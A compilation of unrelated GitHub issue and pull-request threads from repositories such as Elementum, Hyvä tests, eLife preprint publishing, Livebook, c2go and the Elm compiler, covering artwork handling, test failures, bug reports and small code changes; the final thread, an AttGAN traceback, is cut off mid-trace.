I will try to explain. Pictured is the current version of the elementum. My skin and some others, when there is no banner, displays the fanart image and over the clearlogo, when there is no clearlogo, then it displays the text. Since the current version of elementum does not have a clearlogo, on the picture, you can see fanart (old fanart with text) and over text (movie title).

The last version you sent me, Kodi recognizes that it is actually a real banner and it is actually a backdrop with text which also doesn't look good. That's why I mentioned that it's not good to force the banner look, because Kodi now sees that it's a real banner even if it's not.

Here's how it looks with another plugin. So this is not a real banner, but it looks very similar. Many skins use this trick.

So something was changed during the changes, as you can see.
It doesn't do what I mentioned. This is what it looks like with the version you sent me. I think you mentioned that you use the skin Aeon Nox: SiLVO, so I'll give you that screenshot.

And this is how it looks with other plugins.

You're right, sorry. Let's take care of this first.

P.S. The version you sent me works well on Android, all of what I have listed also happens on Android, but what is more noticeable is the difference in the speed of opening and switching between movies. We are going in the right direction. Great job so far. :-)

@antonsoroko
5. I forgot to tell you that in the episode level as a fanart (on the screenshot is image in the background) set a backdrop without text if possible (as in the second picture in tmdb helper). The thumb of the episode is often of lower resolution, so it looks bad as a background, and when moving it changes like the thumb and it should be a static image.

@matke-84

So something was changed during the changes, as you can see.
Kodi recognizes that it is actually a real banner and it is actually a backdrop with text

Even before this conversation I added banner, but new version was not released yet.
Then during thin conversation i logo, as you requested.
But now i can see that our "fake" banners does not look good.
I used backdrop as banner, but backdrop is much higher than banner supposed to be.
from https://kodi.wiki/view/Artwork_types#banner

In the video library, banners are wide and short images that contain recognizable characters or props from the video and typically includes a clearly visible logo or the name of the movie, movie set or tv show.

To be clear  - all 3 (1 elementum's old, 1 elementum's new, and 1 from other plugin) screenshots with banners looks bad in my opinion, since they use not a real banners.
(note about screenshots below: look at "Logan" on all my screenshots as a reference image)
If you enable fanart.tv - then you will see how it supposed to be with real banners:
Aeon Nox: SiLVO

bingie

But for TMDB the only good solution is to remove banners but keep logos:
Aeon Nox: SiLVO:

bingie

It doesn't do what I mentioned.

i see now.
that's why we use comas in my language - to correctly separate phrases and make complicated thought look clear :-)
i misread your message:

poster when entering the episode level should show the poster of the season or the poster of the whole series if there is no season poster and not thumbs of an episode.

as "use poster from a season/show ONLY if there is no thumbnail for an episode" :-D
right now we do this exactly, because it is faster to set all art of all episodes to "Still" image, rather than for every episode we will have to look back to season/show.

And this is how it looks with other plugins.

Does tmdb helper also set thumbnail? the view you use does not show it. Try with "bottom list" - it has thumbnail+poster+fanart.
Anyway, i did changes for episode and now we have thumbnail as episode Still, poster/fanart/landscape - taken from season/show.
Aeon Nox: SiLVO with view called "bottom list":

so i set fanart and landscape to default backdrop - it has no text.
then i try to find backdrop with text and set landscape to it.
so far so good, right? fanart has no text, landscape has text.

but i also set "available artworks" (so user can choose different art for video) via addAvailableArtwork() - e.g. i set "available fanarts" to "all backdrops" , but it looks like skin can use random image from this lists.
so now i changed logic for available artworks:
for fanarts - i take only backdrops with empty iso_639_1,
for landscapes - i take only backdrops with non-empty iso_639_1.
so i think now skin will always use only images w/o text for fanart (either default one or from "available arts") and only images with text for landscape.
Aeon Nox: SiLVO with view called "landscapes":

New version:
windows https://disk.yandex.by/d/20qkkSdga6RHFA
android tv https://disk.yandex.by/d/6sRgkYf8qmPxRQ
Changes:
Do not set Banner to BackdropPath b/c of significant mismatch of needed size
For tmdb episode take additional art from season/show
fix for AvailableArtworks: FanArt should be without text, Landscape with text.

@antonsoroko
1.

To be clear - all 3 (1 elementum's old, 1 elementum's new, and 1 from other plugin) screenshots with banners looks bad in my opinion, since they use not a real banners.
If you enable fanart.tv - then you will see how it supposed to be with real banners:

Well, that's exactly why we need a third option, that when tmdb doesn't deliver an artwork or simply doesn't have it, such as a banner, clearart, cd... fanart.tv takes over those artworks as a fallback. :-)

Does tmdb helper also set thumbnail? the view you use does not show it. Try with "bottom list" - it has thumbnail+poster+fanart.

It shows the same as now elementum with the last version you sent me, as it should.

I'd say it's all settled now. It would be nice if someone else took a look. I have to look on android but there shouldn't be any difference. I will definitely let you know. Also, if I notice something unusual, I report it.
P.S. I noticed a small bug with the duration of the episodes, but I will make a new issue. Just take a look. And I will certainly make an issue for the third option for artwork. :-)

@matke-84

I'd say it's all settled now.

glad to hear that, b/c tbh i already tired of this Art-related things :-)
thank you very much for testing!
btw, about

but what is more noticeable is the difference in the speed of opening and switching between movies.

is it on your android device? with which quality? is increase in speed really noticeable?

@antonsoroko

glad to hear that, b/c tbh i already tired of this Art-related things :-)

Come on, we just started. You know we have one more little thing. :-)

thank you very much for testing!

No, thank you very much for your time and effort.

is it on your android device? with which quality? is increase in speed really noticeable?

Yes. Xiaomi stick 4k. Nothing special. But you can really notice the difference. I set it to medium quality, you get a nice display and fast loading and especially switching between titles. I am very satisfied. That's why I said it would be nice if someone else could check.

@matke-84
i have MECOOL KM6 Deluxe, which has slightly more powerful CPU than Xiaomi Mi TV Stick 4K:
https://gadgetversus.com/processor/amlogic-s905y4-vs-amlogic-s905x4/
https://androidpctv.com/amlogic-s905y4-comparative/
see Geekbench tests.
Also it has 4GB ram. (but I do not recommend to buy it, it has several annoyng issues)
but i use simple skin Mimic-LR and simple view "list" (that show image only for one selected item), because with "heavy" skin and "heavy" view - even with amlogic s905x4 and 4 GB of ram - Kodi does now work fast enough, in my opinion. you need at least cheap but modern mini-pc (with with real x86 CPU) for such workload, imho.
i tried to use "views" with images and tried low and high settings for image quality - but it is hard for me to compare, since i have not used images before - for me Kodi looks slow in any mode with images :-)
but at least it looks like Kodi downloads images faster with low quality (b/c of smaller size).

@antonsoroko
Ohhh it's a ferrari unlike the xiaomi stick 4k. :-)
In general, Kodi is a bit heavy for weak devices. As you said, especially with skins that are a little heavier. All in all, I can feel the difference with the new settings. It just takes less time to download a smaller image, so it also affects performance.

@matke-84

Ohhh it's a ferrari unlike the xiaomi stick 4k. :-)

Nvidia Shield is a Ferrari :-) even after all these years. But the price is too high, imho.
Anyway, i hope this change will make elementum experience a bit more pleasant.

authors: antonsoroko elgatito matke-84


text:
Tests run against Hyvä demo site are failing

A number of tests are failing since the Hyvä demo site (https://demo.hyva.io/) is updated and some settings changed. For example; prices are now shown in Euro and the newsletter subscription box has been removed/deactivated.
Failing tests;

Can subscribe to newsletter
Can add a coupon to the cart
Can delete an added coupon from the cart
Cannot add an invalid coupon
Can set the price to zero when every associated product qty is zero
Can calculate the price based on selected options
Can visit the category page and filters on color red
Can see a price for the product
Can add a product to the wishlist when customer is logged in
Can see the correct product price and shipping costs
Can see coupon discount in checkout
Can find and order in the customer order history after having placed an order
Can open default CMS pages
Can find a single product
Can see suggestions when entering search terms
Can add an address automatically from saved address'
Can remove an address
Can edit the wishlist and remove item

  (Run Finished)

       Spec                                              Tests  Passing  Failing  Pending  Skipped
  ┌────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ ✖  homepage.spec.js                         00:16        8        7        1        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  cart/cart.spec.js                        00:38        7        4        3        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✔  cart/minicart.spec.js                    00:13        7        7        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  catalog/bundle.spec.js                   00:16        5        3        2        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  catalog/category.spec.js                 00:11        6        5        1        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  catalog/product.spec.js                  00:23       13       11        2        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  checkout/checkout.spec.js                00:17        3        -        3        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  cms/cms-pages.spec.js                    00:05        2        1        1        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  search/product-searches.spec.js          00:13        4        2        2        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  user/account.spec.js                     01:57       17       12        5        -        - │
  └────────────────────────────────────────────────────────────────────────────────────────────────┘
    ✖  9 of 10 failed (90%)                     04:33       72       52       20        -        -

I'll change the default domain to test to our own Hyvä demo environment, and I'll remove any custom modules there like Elasticsuite, so it matches with the default.

Less failing tests when run on https://demo-hyva.elgentos.io
  (Run Finished)

       Spec                                              Tests  Passing  Failing  Pending  Skipped
  ┌────────────────────────────────────────────────────────────────────────────────────────────────┐
  │ ✔  homepage.spec.js                         00:18        8        8        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  cart/cart.spec.js                        00:45        7        4        3        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✔  cart/minicart.spec.js                    00:16        7        7        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✔  catalog/bundle.spec.js                   00:07        5        5        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✔  catalog/category.spec.js                 00:12        6        6        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  catalog/product.spec.js                  00:22       13       12        1        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  checkout/checkout.spec.js                00:34        3        1        2        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  cms/cms-pages.spec.js                    00:05        2        1        1        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✔  search/product-searches.spec.js          00:07        4        4        -        -        - │
  ├────────────────────────────────────────────────────────────────────────────────────────────────┤
  │ ✖  user/account.spec.js                     02:22       17       13        4        -        - │
  └────────────────────────────────────────────────────────────────────────────────────────────────┘
    ✖  5 of 10 failed (50%)                     05:11       72       61       11        -        -

Most of the issues are related to the flash messages. In Cypress, the first flash message keeps getting shown even though new ones are added. When using a regular browser in the conventionel way, this does not happen. Heisenbug.


text:
downloading plugin "deno_webview" from "https://github.com/eliassjogreen/deno_webview/releases/download/0.1.2/libdeno_webview.so" failed.

I'm trying to run Hello World example I see in README.md, I get this error instead:

I found that the latest release is still 0.1.1

Nothing will happen even if falling back to v0.1.1
PS > deno -A .\gui.ts
Compile file:///C:/Users/zhmushan/Desktop/gui.ts
Download https://deno.land/x/webview@b23613a7c8673a06d2e845dd22e96fc5a4805b5b/mod.ts
Download https://deno.land/x/webview@b23613a7c8673a06d2e845dd22e96fc5a4805b5b/plugin.ts
INFO prepare deno plugin "deno_webview" from "https://github.com/eliassjogreen/deno_webview/releases/download/0.1.1/deno_webview.dll"

import { WebView } from "https://deno.land/x/webview@b23613a7c8673a06d2e845dd22e96fc5a4805b5b/mod.ts";

const webview = new WebView({
  title: "Hello world",
  url: `data:text/html,

Hello from deno

    `
});

webview.run();

Due to some issues building the windows version with Edge in GitHub actions the 0.1.2 version is not released yet.

authors: KSXGitHub eliassjogreen manyuanrong zhmushan


text:
MSID: 88456 Version: 2 DOI: 2023.01.26.525665

[PLACE MANUSCRIPT AND EDITOR DETAILS HERE WHEN AVAILABLE] See step 3
[PLACE PDF URL HERE WHEN AVAILABLE] See step 7
Step 1. Inform bioRxiv
Who can help: @QueenKraken, @nlisgo, @scottaubrey

[x] Manuscript is in data hub index (https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=88456)

Step 2. Create preview of manuscript
Who can help: @fred-atherden, @nlisgo, @scottaubrey

[ ] Manuscript is available for preview (https://prod--epp.elifesciences.org/preview/88456/v2)

[ ] Trigger import for staging: https://prod--epp.elifesciences.org/import
[ ] Sync data folder with s3://prod-elife-epp-data/data
[ ] Trigger import for staging: https://staging--epp.elifesciences.org/import
[ ] Sync data folder with s3://staging-elife-epp-data/data
[ ] Pull request created to enhanced-preprint-data
[ ] Post link to pull request below

Pull request: [PLACE LINK TO PULL REQUEST HERE]
Detailed instructions: https://github.com/elifesciences/enhanced-preprints-data#add-a-manuscript
Step 3: Awaiting public reviews and QC
Who can help: Production team

[ ] QC passed or QC not needed

Who can help: Editorial team

[x] Public reviews available on sciety (https://sciety.org/articles/activity/10.1101/2023.01.26.525665)
[ ] Manuscript and editor details at the top of this issue (Supplied by Editorial team)
[ ] Reviews returned by EPP - https://prod--epp.elifesciences.org/api/reviewed-preprints/88456/v2/reviews

Example
"msas": "Genetics and Genomics", "Neuroscience"
"msid": "84628"
"version": "1"
"preprintDoi": "10.1101/2022.10.28.514241"
"articleType": "Reviewed Preprint"
"status": "Published from the original preprint after peer review and assessment by eLife."

"Reviewed Preprint posted": "2023-01-02"
"Sent for peer review": "2022-10-28"
"Posted to bioRxiv": "2022-11-21" (link: "Go to bioRxiv": "https://www.biorxiv.org/content/10.1101/2022.10.28.514241v1")

Editors:
Reviewing Editor
Michael B Eisen
University of California, Berkeley, United States
Senior Editor
Michael B Eisen
University of California, Berkeley, United States

Step 4: Modify manuscripts.json (no PDF)

[ ] Reviewed preprint is published to EPP (https://elifesciences.org/reviewed-preprints/88456)

[ ] Pull request created to enhanced-preprint-client
[ ] Pull request switched to "Ready for review"
[ ] Post link to pull request below

[ ] Request that a doi be registered

[ ] Post link to #enhanced-preprint comment below

Pull request: [PLACE LINK TO PULL REQUEST HERE]
#enhanced-preprint comment thread: [PLACE LINK TO COMMENT HERE]

Instructions to modify manuscripts.json

Visit: https://github.com/elifesciences/enhanced-preprints-client/actions/workflows/publish-manuscript.yaml
Click: Run workflow
Complete the form and click "Run workflow"
A successful run should result in a new pull request at https://github.com/elifesciences/enhanced-preprints-client/pulls
Open the pull request and click the "Ready for review" button to trigger tests
Once the tests pass and you are happy with the changes the PR can be merged

Example pull request: https://github.com/elifesciences/enhanced-preprints-client/pull/334/files
Once the pull request is merged in it should be available a few minutes later.

Request that a doi
Post the following in #enhanced-preprint:
@Fred can you register a doi for https://elifesciences.org/reviewed-preprints/88456

Step 5: Awaiting search reindex

[ ] Reviewed preprint is avaliable on journal homepage (https://elifesciences.org)

The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.

Additional info
If needed, the jenkins pipeline to reindex search can be triggered sooner.
https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 6: Published! Request PDF generation

[ ] Post the link to the PDF url at the top of the issue

[ ] Post link to #enhanced-preprint comment below

#enhanced-preprint comment thread: [PLACE LINK TO COMMENT HERE]
Post the following to the #enhanced-preprint on slack:
@Ryan Dix-Peek please can you generate a PDF for https://elifesciences.org/reviewed-preprints/88456

Step 7: Introduce PDF to data folder and git repo

[ ] PDF is avaliable at https://github.com/elifesciences/enhanced-preprints-data/raw/master/data/88456/v2/88456-v2.pdf

Detailed instructions: https://github.com/elifesciences/enhanced-preprints-data#add-a-pdf
Step 8: Add PDF url to manuscripts.json

[ ] Reviewed preprint PDF is available for download (https://prod--epp.elifesciences.org/reviewed-preprints/88456)

[ ] Pull request created to enhanced-preprint-client
[ ] Pull request switched to "Ready for review"
[ ] Post link to pull request below

[PLACE LINK TO PULL REQUEST HERE]

Instructions to add PDF url to manuscripts.json

Visit: https://github.com/elifesciences/enhanced-preprints-client/actions/workflows/add-pdf-url-to-manuscript.yaml
Click: Run workflow
Complete the form and click "Run workflow"
A successful run should result in a new pull request at https://github.com/elifesciences/enhanced-preprints-client/pulls
Open the pull request and click the "Ready for review" button to trigger tests
Once the tests pass and you are happy with the changes the PR can be merged

Example pull request: https://github.com/elifesciences/enhanced-preprints-client/pull/397/files
Once the pull request is merged in it should be available a few minutes later.

Step 9: Done!

[ ] Kettle is on!

Looks like the wrong version of this article has been implemented - should be https://www.biorxiv.org/content/10.1101/2023.01.26.525665v3 but looks like https://www.biorxiv.org/content/10.1101/2023.01.26.525665v2 has been used.

Loaded the v3 and this is now ready to QC

authors: JGilbert-eLife fred-atherden nlisgo

repo: elifesciences/enhanced-preprints-import


text:
MSID: 95197 Version: 2 DOI: 10.1101/2024.01.23.576898

MSID: 95197
Version: 2
Preprint DOI: https://doi.org/10.1101/2024.01.23.576898
Step 1. Awaiting reviews
Editorial to post reviews via hypothesis
Useful links:

DocMap: https://data-hub-api.elifesciences.org/enhanced-preprints/docmaps/v2/by-publisher/elife/get-by-manuscript-id?manuscript_id=95197
New model tracking: https://docs.google.com/spreadsheets/d/1_fHaoOy7hjyocptKtVJRijeNpUY4hBS7Ck_aVmx6ZJk/
Reviews on sciety: https://sciety.org/articles/activity/10.1101/2024.01.23.576898

For trouble shooting (e.g. no Docmaps available):

DocMap issue addressing: https://miro.com/app/board/uXjVNCwK6EI=/
Explore DataHub DocMaps API: https://lookerstudio.google.com/reporting/4c2f0368-babb-4beb-b5b3-497e7e7b0f08/page/ejphD
Unmatched submissions and preprints: https://lookerstudio.google.com/u/0/reporting/9f86204f-3bf7-477c-9b18-5c5ef141bf69/page/p_gxi57ha93c
Unmatched manuscripts spreadsheet: https://docs.google.com/spreadsheets/d/15QcK8w-ssB7109RQEDtFpJPZ0J5HTGxoHa_2TtpMBbg/edit#gid=1336081641

Step 2. Preview reviewed preprint
Production QC content ahead of publication
Instructions:

QC preview: https://prod--epp.elifesciences.org/previews/95197v2
Update ticket with any problems (add blocked label)
When QC OK, add QC OK label to ticket and add publication date and time to https://docs.google.com/spreadsheets/d/1amAlKvdLcaDp5W8Z8g77NmkwbMF5n_u89ArSqPMO8jg
Move card to next column
(At end of the day post link in #enhanced-preprint and ask for PDF to be generated)

Useful links:

Preprint DOI :  https://doi.org/10.1101/2024.01.23.576898
Confirm reviews returned by EPP: https://prod--epp.elifesciences.org/api/reviewed-preprints/95197/v2/reviews
To update the MECA path in the docmap: https://docs.google.com/spreadsheets/d/1mctCQuNFBjSn97Lihy7_vBO6z7-N-oqyLv4clyi6zHg

Step 3: Awaiting search reindex
This step adds the reviewed preprint to the homepage: https://elifesciences.org
The search reindex is triggered once an hour. We need the reviewed preprint to be indexed as the search application serves the journal homepage.
Useful links:

Jenkins pipeline to reindex search can be triggered sooner or monitored here: https://alfred.elifesciences.org/job/process/job/process-reindex-reviewed-preprints/

Step 4: Published! PDF requested
Waiting for PDF to be generated
Useful links:

PDF tracking: https://docs.google.com/spreadsheets/d/106_XeDjmuBae7gexOTNzg60lapeqjl2aRn9DzupGyS8/

Step 5: Introduce PDF to data folder and git repo
Upload PDF to relevent folder in git repo https://github.com/elifesciences/enhanced-preprints-data/
Step 6: Done!

[ ] Kettle is on!


text:
using the 7th image for reconstruction?

Hello, I noticed you used the results of zero123++ for reconstruction. However, only 6 images were used. Would it be possible to use the input image as the 7th image for reconstruction? If it's feasible, what should be the transformer JSON for this image?

If you have the elevation and intrinsics of the input image, you can construct the matrices and fill in the entry. You may need to slightly change the load_image code.

authors: eliphatfs yanghbcodes

repo: eliphatfs/zerorf


text:
triage: remove all contributors

Description

This issue removes all contributors from the repo. Currently, this feature is not actively utilized, and maintaining it adds unnecessary overhead. The list of contributors is already provided by GitHub in repo itself.
Possible solution(s)

Additional context

Hi @anuragxxd , Can you please provide more details regarding this?

Thank you @psankhe28 for your interest. This issue is currently in the triage stage and hasn't been confirmed for development yet.
@uniqueg  might have more insights on this since he set up the all-contributors system. While I don't believe keeping all-contributors is strictly required, I understand the rationale behind it – in that case this issue could potentially involve fixing aspects related to all contributors.

Thanks @anuragxxd! I very much like the idea of All Contributors, which is much more inclusive and fine-grained compared to the list that is automatically maintained by GitHub. However, I also acknowledge that it's not sustainable as long as we don't automate its use (e.g., via bots that recognize participation through posting of issues, PRs, discussions etc).
So yes, a bit sad to see it go, but given that it's not a priority right now to work out its automation, it's probably best to remove it - at least for now.

Not quite sure how to remove it. Maybe removing the ALL-CONTRIBUTORS-LIST from this file is all it takes?

Not quite sure how to remove it. Maybe removing the ALL-CONTRIBUTORS-LIST from this file is all it takes?

I guess so some more places I found:

Turn off the all contributors bot on github too. @uniqueg maybe you can turn that off here https://github.com/elixir-cloud-aai/cloud-components/settings/installations.
This file too here.

@psankhe28 if you want you can remove these files & revalidate if there are any other places all-contributors exist & make a PR.

Sure, I will work on it.

authors: anuragxxd psankhe28 uniqueg

repo: elixir-cloud-aai/cloud-components


text:
Rename params_take to params_acc in Builder.Select

This addresses the remaining PR comment on #3928.

:green_heart: :blue_heart: :purple_heart: :yellow_heart: :heart:

authors: arnodirlam josevalim

repo: elixir-ecto/ecto


text:
Table size fixes

Fixes #20.
This changes our resize code to always send a dynamic table resize command, even if the table size did not change from the commanded version. This is in line with a closer / alternate read of RFC9113§4.3.1 paragraph 4.
I also fixed the evict_towards_size internal table function to handle the case where it was being asked to evict to a size larger than the table's current actual size. Previously we were always evicting at least one entry even if it wasn't necessary.

Pull Request Test Coverage Report for Build e82d8e1b9432fc22bb301e3021e6b65d33a4d818-PR-21
Details

5 of 5 (100.0%)  changed or added relevant lines in 1 file are covered.
1 unchanged line in 1 file lost coverage.
Overall coverage increased (+0.8%) to 94.083%

Files with Coverage Reduction
New Missed Lines
%

lib/hpax/table.ex
1
96.23%

Totals

Change from base Build f59c2d8bc52df083bc304e1cd4f6e024736fff28:
0.8%

Covered Lines:
159

Relevant Lines:
169

💛  - Coveralls

Updated

authors: coveralls mtrudel

repo: elixir-mint/hpax


text:
Read-only files

Question: what happens if we open up a notebook from a read-only file and then we change it, kicking off auto-save?
We have two options:

allow the notebook to be forked exclusively

allow the notebook to be opened but show both under settings and on the lower right that saving won't work

I assume by read-only you refer to file permissions? Currently we would try to save and then show an error message, so the user knows we failed to.

@jonatanklosko yeah, a read-only file. Does it mean that an error message shows up every 5 seconds? What is the status/color of the "save" button on the lower right in said cases?

Yeah it's every 5 seconds (although the error doesn't automatically go away, so it's only clear if the user manually closes it). I don't necessarily think it's bad, because we really want the user to take an action. The error text could be improved:

I see. My only concern is that if you are really accessing a read-only notebook, it will be nagging you forever. FWIW, this is how Jupyter handles it:

I am wondering if we should make the icon red and show the reason only on mouse-over? I have no idea if we can add a cross around the icon though (or if we should overlay two icons).

Thinking about this allowing only to fork such notebook is definitely the best solution, because open is basically fork + save (so if we know we cannot save, there's just no point doing that).

Yeah, makes sense. Btw, when showing the error, you can translate the File.write error atoms into actual meaningful messages by calling :file.format_error:
iex(foo@josemac)4> :file.format_error :eacces
'permission denied'

authors: jonatanklosko josevalim

repo: elixir-nx/livebook


text:
Update sqlite to v3.45.2

Updating SQLite to v3.45.2 to gain improved JSON(B) support.
https://www.sqlite.org/releaselog/3_45_1.html

Thank you, I've been meaning to bump the version lately.

authors: elepedus warmwaffles

repo: elixir-sqlite/exqlite


text:
Append arity to function names for ElixirScript functions

In Erlang/Elixir, all function names are /. ElixirScript does not show the arity on the name and instead just puts all the functions of the same name together. This is a proposal to change that.
Example: If you have a module Example with function hello\1:
defmodule Example do
  def hello(name) do
  end
end

It now converts the function to:
const hello = Boostrap.Core.Patterns.defmatch ....

Instead we would convert it to:
const hello1 = Boostrap.Core.Patterns.defmatch ....

Calls to JavaScript would keep using the names as is.
I believe that most of what needs to change is in translation of function calls and also in the initial grouping of function types.

Going to close this one for now and revisit at a later time

repo: elixirscript/elixirscript


text:
panic: could not match regexp with string

version
$ cmake version
2.8.12.2
$ clang -v
clang version 3.4.2 (tags/RELEASE_34/dot2-final)
Target: x86_64-redhat-linux-gnu
Thread model: posix
Found candidate GCC installation: /usr/bin/../lib/gcc/x86_64-redhat-linux/4.8.2
Found candidate GCC installation: /usr/bin/../lib/gcc/x86_64-redhat-linux/4.8.5
Found candidate GCC installation: /usr/lib/gcc/x86_64-redhat-linux/4.8.2
Found candidate GCC installation: /usr/lib/gcc/x86_64-redhat-linux/4.8.5
Selected GCC installation: /usr/bin/../lib/gcc/x86_64-redhat-linux/4.8.5
What I tried
#include <stdio.h>

int main()
{
   int n, c;

   printf("Enter a number\n");
   scanf("%d", &n);

   if ( n == 2 )
      printf("Prime number.\n");
   else
   {
       for ( c = 2 ; c <= n - 1 ; c++ )
       {
           if ( n % c == 0 )
              break;
       }
       if ( c != n )
          printf("Not prime.\n");
       else
          printf("Prime number.\n");
   }
   return 0;
}

Result
 bin/c2go transpile tets.c
panic: could not match regexp with string
^(?P<address>[0-9a-fx]+) <(?P<position>.*)> <(?P<position2>.*)>[\s]*$
0x355fd40 <<invalid sloc>>

goroutine 209 [running]:
github.com/elliotchance/c2go/ast.groupsFromRegex(0xc0000f5f90, 0x45, 0xc000318014, 0x1a, 0xc0000fe4c0)
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/ast/ast.go:310 +0x36a
github.com/elliotchance/c2go/ast.parseTranslationUnitDecl(0xc000318014, 0x1a, 0x13)
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/ast/translation_unit_decl.go:10 +0x4e
github.com/elliotchance/c2go/ast.Parse(0xc000318000, 0x2e, 0x6b5abb, 0x5)
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/ast/ast.go:258 +0x2ea5
main.convertLinesToNodes(0xc00027a000, 0xb, 0x2c2, 0x0, 0x0, 0x0)
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/main.go:89 +0x1a6
main.convertLinesToNodesParallel.func1.1(0xc00058c000, 0xc00013c0c0, 0xc00027a000, 0xb, 0x2c2, 0x14)
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/main.go:113 +0x53
created by main.convertLinesToNodesParallel.func1
        /home/gopath/pkg/mod/github.com/elliotchance/c2go@v0.26.7/main.go:111 +0x12f

This means that c2go can't understand the output from that particular version of clang. Here is an example of updating the regex to fix: https://github.com/elliotchance/c2go/pull/853

authors: Jovons elliotchance


text:
Leaving type parameters out of type annotation compiles when it shouldn't

We were talking about some weirdness in the general chat today and user alon came up with a simple example to showcase it. The following code compiles.
type SomeUnion a b c
    = SomeType a
    | SomeOtherType b c

myFunction : SomeUnion a -> String
myFunction atype =
    "hmm but why?"

SomeUnion takes three type parameters but only one is supplied. No one will be able to call this function because no one can make a SomeUnion a obviously, so I suppose the damage is as minimal as it gets.
This was tested on Elm 0.18.0 on Ubuntu 16.04.

Seems to be part of "no kind checking", #1373. Thanks for the report!

Added to the No Kind Checking section of https://github.com/elm-lang/elm-compiler/issues/1373 - thanks again!

In the development build, I am getting:
- TOO FEW ARGS ------------------------------------------------------- temp.elm

The `SomeUnion` type was given 1 argument:

14| myFunction : SomeUnion a -> String
                 ^^^^^^^^^^^
But it needs 3 arguments. What is missing? Are some parentheses misplaced?

Because we now rule this out in the canonicalization phase. Thanks for the report!

Nice, thank a lot

authors: evancz mgold naddeoa rtfeldman

repo: elm-lang/elm-compiler


text:
0.18 alpha: main with type Html a throws in debug mode

SSCCE:
Main.elm
module Main exposing (main)

import Html

main =
    Html.text "hello"

build.sh
elm-make ./Main.elm --debug

Result:

I made a partial fix, but the rest needs a change in the compiler. I think it makes sense to make the decision about main and then do this fix at the same time, so it can all be out in the next batch of binaries. Don't let me forget!

Sounds good! I'll check in on elm-dev when you release the next binaries

Okay, got a similar report from https://github.com/elm-lang/elm-reactor/issues/209 and made the fix. Thanks again for the report!

authors: evancz lukewestby

repo: elm-lang/elm-make


text:
Demo pages

Hey can you host the demos using git pages? Is it possible to use your classes in es6 projects?
Regards,
#0K

Srinivasan, I'm very sorry that I didn't reply to your query way back when. I just saw it for the first time right now. Is this something you're still interested in?

I would be interested in what @aalavandhaann  has asked for too :)

Sure, happy to do that. Seems like there may be some upgrading involved as the library dependencies are all a bit old.

Work in progress on the develop branch. I'm converting it to an ES6 module and updating the demo

authors: aalavandhaann elmarquez raffdp

repo: elmarquez/four


text:
off calls emitter.on?

https://github.com/elninotech/uppload/blob/9e5c8730ee484b7289b28dbc1d4c5b7bdde27a3d/src/uppload.ts#L877-L879 should this call emitter.off instead of on?

Wait, what? Of course! I can't believe that I was so silly to have missed this and nobody pointed this out until now. 😄

@all-contributors please add @RichardJohnn for bugs

This is fixed in v3.2.0. Thanks for pointing it out!

authors: AnandChowdhary RichardJohnn

repo: elninotech/uppload


text:
新增模块提示api访问404

新增模块，用代码生成工具生成的代码。然后对照现有模块进行修改，基本上是一致了。但是访问的时候还是提示/api/xxx无法访问。原来以为是后台没有权限，但是使用admin登陆也是一样的。debug了，发现没有找到后台。请问这个问题到底是哪里错误了？谢谢。

请确保不是在代码生成器中新增的模块，不然无法使用，如果要新增模块请手动操作，新增模块的时候保证包名一致，并且在 system模块中引入新增的模块

@elunez 老哥，在升2.3之前用代码生成器调成功了，也不报错。同步到2.3之后不知道哪里被覆盖才无法访问的。能不能把代码生成器的问题点说一下呢？

authors: elunez esinhee

repo: elunez/eladmin-web


text:
history-down-or-quit down twice on one hit

~> put $le:binding[history][Down]
▶ $le:&history-down-or-quit
~> put $le:binding[history][Up]
▶ $le:&history-up
~> # A
~> # B
~> # C

hit up:
~> # C

again:
~> # B

again:
~> # A

then, hit Down:
~> # C

expect B.

Seems that the new deduplication algorithm is the culprit here.

authors: huiyiqun xiaq

repo: elves/elvish


text:
Make it possible to implement kill-path-component-left in elvishscript

This is a followup of #330. That PR was rejected because I intend to keep the default setting simple, but something like that should be implementable in pure elvishscript.

my thoughts on implementation:
le:word-separator = [space] # default
le:word-separator = [space punct] # kill-small-word-left
le:word-separator = [space /] # kill-path-component-left

multiple character sets are needed to access multiple actions

authors: aeosynth xiaq


text:
AttGAN RuntimeERROR:Sizes of tensors must match except in dimension 1

Hi, when I use Pytorch-1.7 to train AttGAN from scratch, a RuntimeERROR appears. There are more details:
Traceback (most recent call last):
File "train.py", line 161, in
errD = attgan.trainD(img_a, att_a, att_a_, att_b, att_b_)
File "/home/AttGAN/attgan.py", line 198, in trainD
img_fake = self.G(img_a, att_b_).detach()
File "/home/anaconda3/lib/python3.6/site-packages/torch/nn/modules/module.py", line 727, in _call_impl
result = self.forward(*input, **kwargs)
File "/home/AttGAN/attgan.py", line 78, in forward
return self.decode(self.encode(x), a)
